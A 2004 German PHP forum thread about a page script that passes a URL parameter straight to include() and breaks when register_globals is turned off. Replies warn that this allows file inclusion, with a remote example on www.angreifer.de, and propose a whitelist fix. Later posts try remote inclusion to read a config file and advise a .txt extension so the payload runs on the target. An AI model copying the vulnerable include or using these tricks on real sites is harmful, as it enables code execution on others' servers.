PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : index.php?m=dateiname



localhost
18-02-2004, 10:34
Ich hab daheim ein debain rechner auf dem ein apache und das php leuft.
wenn ich den install mit apt-get install apache php4 php4-mysql dan kann ich das machen



/* index.php */
if ($m != "")
{
echo "<base href=$m>"; include ($m);
}
else
{
include ("news_day"); // wenn kein index.php?m=dateiname da ist
}

hier bei apache 1.3.xx php 4.1.X

jetzt kamm ich auf die ide den neuen apache (2.0.48) und neus php (4.3.X) runderzladen und zu installen das geht auch alle ganz schön nur der code geht nicht mer

immer wenn ich index.php?m=book oder news oder was auch immer machen dan pleibt der immer auf der news_day also der else.

Stanislaus
18-02-2004, 11:33
register_globals ist mal wieder das Stichwort.

es müsste heißen:


if ($_GET['m'] != "")
{
echo "<base href=$m>"; include ($_GET['m']);
}
else
{
include ("news_day"); // wenn kein index.php?m=dateiname da ist
}


Bis neulich ...

quinte17
18-02-2004, 12:21
versuche bitte nicht dieses script online zu verwende, da sonst leute recht einfach bösen code ausführen können, da du ja den dateinamen übergibst und direkt einbindest...

nur so als hint

greezu

localhost
19-02-2004, 10:28
Wie das den ??
und wie kann cih das sicher machen ?


Original geschrieben von quinte17
versuche bitte nicht dieses script online zu verwende, da sonst leute recht einfach bösen code ausführen können, da du ja den dateinamen übergibst und direkt einbindest...

nur so als hint

greezu




if ($_GET['m'] != "")
{
echo "<base href=$m>"; include ($_GET['m']);
}
else
{
include ("news_day"); // wenn kein index.php?m=dateiname da ist
}

wiso ging das voher ohne das $_GET['m'] ??

Pingu
19-02-2004, 10:32
Original geschrieben von localhost
wiso ging das voher ohne das $_GET['m'] ??
siehe manual: www.php.net/globals

Pingu

localhost
19-02-2004, 10:36
Da steh nur das es ambzulenen ist aber noch gehen müsste was es aber nicht tuht.


Original geschrieben von Pingu
siehe manual: www.php.net/globals

Pingu

Pingu
19-02-2004, 11:03
Original geschrieben von localhost
Da steh nur das es ambzulenen ist aber noch gehen müsste was es aber nicht tuht. Die Begründung steht gleich im ertsen Satz der Warnung.

Ab PHP 4.2.0 ist der standardmäßige Wert für die PHP-Anweisung register_globals (http://de3.php.net/manual/de/configuration.directives.php#ini.register-globals) off.Du hast oben geschrieben, dass Du von 4.1.x auf 4.3.x umgestiegen bist. Ab 4.2.0 ist es geändert. Ergo -> das ist die Erklärung.

Pingu

quinte17
21-02-2004, 17:13
wenn nun einer zum beispiel:
index.php?m=../bla
macht, dann versucht dein script die datei ../bla.php zu öffnen die eins oberhalb von index liegt... wenn er nun klug und geschickt ist, kann er des vielleicht umformen, so dass
http://www.angreifer.de/bla.php
eingebunden wird und diese php file gibt dann php zurück und nicht html...
somit wird dann fremder php-code auf deinem server ausgeführt... weiß gott was er damit alles machen kann ;)

unterbinden kannst du des damit, dass du intern ein array hast
bla[0] = "anderes.php";

und in m übergibst du nur die arrayposition also 0:
index.php?m=0

im script bindest du des dann so ein:
include(bla[$_GET[m]]);

somit kann man nur deine definierten dateien includen und nicht wahlweise welche einem belieben....

und lass die register gobals unbedingt auf off! ist wirklich um einiges sicherer!
wenn dann diverse programme nicht mehr laufen, dann kann man die auch analysieren und die benötigten variablen am anfang selbst setzen... ala

$benötigtevardesscripts = $_POST[benötigtevardesscripts];

ist zwar ein wenig aufwand aber machts sicherer...

greetz

Mr.Kn!ster
22-02-2004, 19:30
http://url0.php/index0.php?m=http://www.url1.de/index1.php

index1.php


<?
require("config.inc.php");

echo code;
?>


Ich hab das mal ausprobirt.
Wenn ich das so mache das will der immer die config.inc.php von der http://www.url1.de auch wenn ich das require mit URL angaben machen ich weis das das so nicht geht aber wie könnte ich den die config von der url0 laden?

Gaert
22-02-2004, 22:52
Hallo Mr Knister!

Das es nicht funktioniert liegt daran, dass die PHP Datei von URL1 vor dem Inkludieren auf www.url1.de geparsed wird.
Um das zu verhindern musst du eine Dateiendung wählen, die der Webserver nicht als PHP interpretiert... z.b. index1.txt